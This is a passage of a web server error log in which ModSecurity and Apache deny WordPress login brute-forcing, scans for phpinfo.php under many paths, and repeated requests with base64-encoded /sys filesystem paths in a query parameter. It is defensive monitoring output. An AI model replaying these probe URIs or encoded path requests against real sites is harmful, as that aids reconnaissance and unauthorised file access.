with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "weiserfestival.net"] [uri "/wp-login.php"] [unique_id "ai3zgFWSojQL4F7upKB3MwAAoS4"], referer: https://weiserfestival.net/wp-login.php [Sat Jun 13 18:19:12.506787 2026] [security2:error] [pid 648189:tid 648222] [remote 17.22.253.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zgFWSojQL4F7upKB3OwAAyQI"] [Sat Jun 13 18:19:12.610459 2026] [security2:error] [pid 646876:tid 646985] [remote 162.254.36.150:50240] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "isesurveys.ca"] [uri "/wp-login.php"] [unique_id "ai3zgNyTkdrNlD40tSG46wAAFWo"] [Sat Jun 13 18:19:12.661699 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:19:12.661973 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvcG93ZXI= [Sat Jun 13 18:19:12.773743 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.44:46803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:12.774202 2026] [access_compat:error] [pid 648189:tid 648232] [remote 57.141.14.44:46803] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:12.799152 2026] [security2:error] [pid 646876:tid 646922] [remote 162.254.36.150:50240] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.36.254.162.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "isesurveys.ca"] [uri "/wp-login.php"] [unique_id "ai3zgNyTkdrNlD40tSG47wAAGCs"], referer: https://isesurveys.ca/wp-login.php [Sat Jun 13 18:19:13.010530 2026] [security2:error] [pid 648189:tid 648408] [client 185.177.72.9:58298] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo-server.php"] [unique_id "ai3zgVWSojQL4F7upKB3UwAAALs"] [Sat Jun 13 18:19:13.131784 2026] [access_compat:error] [pid 646876:tid 647061] [client 66.249.75.131:42767] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:13.132088 2026] [access_compat:error] [pid 646876:tid 647061] [client 66.249.75.131:42767] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:13.188972 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:13.189403 2026] [access_compat:error] [pid 646876:tid 646951] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:13.353466 2026] [access_compat:error] [pid 648189:tid 648345] [remote 57.141.14.88:58624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:13.353935 2026] [access_compat:error] [pid 648189:tid 648345] [remote 57.141.14.88:58624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:13.539829 2026] [security2:error] [pid 646876:tid 646911] [remote 17.22.245.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zgdyTkdrNlD40tSG49gAAEiA"] [Sat Jun 13 18:19:13.664980 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.47:29892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:13.665262 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.47:29892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:13.679744 2026] [security2:error] [pid 648189:tid 648328] [remote 17.246.15.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zgVWSojQL4F7upKB3dAAA52k"] [Sat Jun 13 18:19:13.687935 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:19:13.688209 2026] [access_compat:error] [pid 646876:tid 646938] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:19:13.712460 2026] [security2:error] [pid 648189:tid 648415] [client 185.177.72.9:58314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfo_details.php"] [unique_id "ai3zgVWSojQL4F7upKB3dwAAAMI"] [Sat Jun 13 18:19:13.747157 2026] [access_compat:error] [pid 648189:tid 648273] [remote 57.141.14.80:50823] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:13.747602 2026] [access_compat:error] [pid 648189:tid 648273] [remote 57.141.14.80:50823] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:13.863702 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.64:21590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:13.864003 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.64:21590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:13.926325 2026] [security2:error] [pid 648189:tid 648240] [remote 216.73.216.223:32826] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3zgVWSojQL4F7upKB3gQAAkRM"] [Sat Jun 13 18:19:14.017614 2026] [security2:error] [pid 646876:tid 646956] [remote 17.246.19.214:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zgtyTkdrNlD40tSG4_AAAaU0"] [Sat Jun 13 18:19:14.030202 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.45:35746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:14.030514 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.45:35746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:14.070052 2026] [security2:error] [pid 648189:tid 648314] [remote 17.241.75.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zglWSojQL4F7upKB3igAAmlw"] [Sat Jun 13 18:19:14.132779 2026] [security2:error] [pid 648189:tid 648465] [client 185.177.72.9:15626] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/phpinfomolten.php"] [unique_id "ai3zglWSojQL4F7upKB3jQAAAO8"] [Sat Jun 13 18:19:14.166200 2026] [security2:error] [pid 648189:tid 648237] [remote 17.22.245.123:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zglWSojQL4F7upKB3jAAAuhA"] [Sat Jun 13 18:19:14.223694 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:19:14.224142 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:19:14.423550 2026] [security2:error] [pid 646876:tid 646961] [remote 209.87.149.26:55285] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "networkwestmichigan.com"] [uri "/wp-login.php"] [unique_id "ai3zgtyTkdrNlD40tSG5BQAAR1I"] [Sat Jun 13 18:19:14.437470 2026] [security2:error] [pid 648189:tid 648290] [remote 17.22.237.126:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zglWSojQL4F7upKB3mgAAmEQ"] [Sat Jun 13 18:19:14.534396 2026] [security2:error] [pid 646876:tid 647037] [client 185.177.72.9:15632] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/shop/phpinfo.php"] [unique_id "ai3zgtyTkdrNlD40tSG5CAAAAB0"] [Sat Jun 13 18:19:14.651952 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.36:33406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:14.652234 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.36:33406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:14.759738 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:19:14.760005 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:19:14.798057 2026] [security2:error] [pid 646876:tid 647101] [client 185.177.72.9:15640] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/bitrix/admin/phpinfo.php"] [unique_id "ai3zgtyTkdrNlD40tSG5CwAAAF0"] [Sat Jun 13 18:19:14.821637 2026] [security2:error] [pid 648189:tid 648420] [client 114.119.144.85:41671] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "an-ime.com"] [uri "/"] [unique_id "ai3zglWSojQL4F7upKB3pAAAAMc"], referer: https://an-ime.com?page=37 [Sat Jun 13 18:19:14.822074 2026] [security2:error] [pid 648189:tid 648305] [remote 77.237.247.134:37150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.247.237.77.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ambeault.net"] [uri "/wp-login.php"] [unique_id "ai3zglWSojQL4F7upKB3pQAA-1M"], referer: https://ambeault.net/wp-login.php [Sat Jun 13 18:19:15.023822 2026] [security2:error] [pid 648189:tid 648224] [remote 152.53.111.131:43492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.111.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "avecs.us"] [uri "/wp-login.php"] [unique_id "ai3zg1WSojQL4F7upKB3rQAAiwQ"], referer: https://avecs.us/wp-login.php [Sat Jun 13 18:19:15.073412 2026] [security2:error] [pid 648189:tid 648445] [client 185.177.72.9:15652] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/mambo/administrator/phpinfo.php"] [unique_id "ai3zg1WSojQL4F7upKB3sgAAAN8"] [Sat Jun 13 18:19:15.151332 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.94:56152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:15.151638 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.94:56152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:15.157580 2026] [security2:error] [pid 646876:tid 646906] [remote 209.87.149.26:55285] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "networkwestmichigan.com"] [uri "/wp-login.php"] [unique_id "ai3zg9yTkdrNlD40tSG5GwAAZRs"], referer: https://networkwestmichigan.com/wp-login.php [Sat Jun 13 18:19:15.224186 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDQvZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:19:15.224473 2026] [access_compat:error] [pid 646876:tid 646939] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 